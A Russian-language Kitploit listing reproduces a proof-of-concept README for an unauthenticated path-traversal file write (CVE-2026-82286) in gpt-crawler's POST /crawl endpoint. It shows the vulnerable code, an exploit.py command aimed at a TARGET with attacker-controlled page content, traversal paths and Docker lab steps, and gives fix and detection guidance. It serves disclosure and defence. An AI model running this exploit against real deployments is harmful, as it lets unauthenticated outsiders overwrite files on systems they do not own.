Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-82286-gpt-crawler-Arbitrary-File-Write — CVE-2026-82286 — gpt-crawler <=1.5.1 неаутентифицированная произвольная запись файлов через outputFileName (POST /crawl). PoC + автономная Docker-лаборатория. CVSS 8.6, CWE-22. | Kitploit
Инструменты/GitHubGitHub/biitts/cve-2026-82286-gpt-crawler-arbitrary-file-write
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubbiitts/cve-2026-82286-gpt-crawler-arbitrary-file-write

CVE-2026-82286-gpt-crawler-Arbitrary-File-Write

CVE-2026-82286 — gpt-crawler <=1.5.1 неаутентифицированная произвольная запись файлов через outputFileName (POST /crawl). PoC + автономная Docker-лаборатория. CVSS 8.6, CWE-22.

Репозиторий
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-82286 — gpt-crawler Неаутентифицированная произвольная запись файлов

Proof-of-concept для неаутентифицированной произвольной записи файлов в BuilderIO/gpt-crawler (≈22k ★) через параметр outputFileName конечной точки API POST /crawl.

CVECVE-2026-82286
Продуктgpt-crawler (BuilderIO)
Затронуто<= 1.5.1 (последний релиз; HEAD ветки по умолчанию также затронут)
КлассPath Traversal / Произвольная запись файлов (CWE-22, CWE-73)
CVSS 3.18.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (ВЫСОКИЙ)
АутентификацияОтсутствует (неаутентифицированный)
ПредусловиеЗапущен режим API-сервера (npm run start:server)
СтатусПОДТВЕРЖДЕНО end-to-end (не исправлено по состоянию на 2026-08-29)

Корневая причина

API-сервер (src/server.ts) предоставляет POST /crawl без аутентификации. JSON-тело напрямую разбирается в конфигурацию краулера Config; outputFileName валидируется только как z.string() — никаких ограничений на путь нет:

root@kitploit:~
// src/config.ts
outputFileName: z.string(),

В src/core.ts функция write() строит путь вывода напрямую из этой управляемой атакующим строки и вызывает для неё fs.writeFile():

root@kitploit:~
// src/core.ts  (write)
const nextFileName = (): string =>
  `${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));

Таким образом, удалённый неаутентифицированный атакующий контролирует полный путь файла, записываемого за пределами предполагаемой области вывода storage/ — через абсолютный путь (/tmp/x, /home/<user>/x) или обход с помощью ../. Содержимое файла — это результат краулинга [{title,url,html}], поля которого берутся со страницы, на которую атакующий направляет краулер (укажите url на контролируемый вами сервер), поэтому содержимое находится под влиянием атакующего.

Единственное ограничение — принудительный суффикс -<N>.json (имя всегда заканчивается на .json) и обёртка в виде JSON-массива — именно поэтому это оценивается как произвольная запись файлов (I:H), а не полноценный RCE.

Эксплуатация

root@kitploit:~
python3 exploit.py \
  -t http://TARGET:3000 \
  -u http://ATTACKER:8081/index.html \   # страница, содержимое которой попадает в записываемый файл
  -o /home/myuser/PWNED                    # -> записывает /home/myuser/PWNED-1.json

Конечная точка отражает содержимое записанного файла в HTTP-ответе. Эмпирическое доказательство — появление файла по выбранному атакующим пути в файловой системе цели (см. EVIDENCE.txt).

Воспроизведение

root@kitploit:~
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json     # <- записано за пределами storage/, без аутентификации

Очистка: docker rm -f gptc-vuln; pkill -f 'http.server 8081'.

Влияние

Неаутентифицированный сетевой атакующий может создавать или перезаписывать файлы по произвольным путям (с учётом прав пользователя процесса и суффикса -<N>.json) с частично контролируемым содержимым. В зависимости от развёртывания это позволяет вносить изменения в конфигурационные/файлы данных, портить состояние приложения (целостность/доступность) и, на целях, которые впоследствии потребляют записанный файл *.json, может быть использовано для дальнейших атак.

Примечание о затронутой поверхности

Уязвимый код достижим только в режиме API-сервера (src/server.ts, запускается через npm run start:server / развёртывание containerapp), а не в режиме CLI по умолчанию. Сервер привязывается к API_HOST (по умолчанию localhost); реальные развёртывания, которые открывают API, устанавливают его в 0.0.0.0 (как это делает образ containerapp), что делает конечную точку доступной удалённо.

Исправление

  • Разрешайте outputFileName относительно фиксированной базовой директории и отклоняйте результат, если он выходит за её пределы (path.resolve(base, name) + проверка префикса); отбрасывайте .. и абсолютные пути.
  • Добавьте аутентификацию/авторизацию для POST /crawl.
  • Считайте имя выходного файла краулера управляемым сервером, а не предоставляемым клиентом.

Обнаружение

Ищите тела запросов POST /crawl, в которых outputFileName содержит /, \ или .., а также файлы *-1.json, появляющиеся за пределами директории storage/ краулера.

Авторы

Исследование и PoC: Caio Fabrício (BiiTts).

Скачать инструмент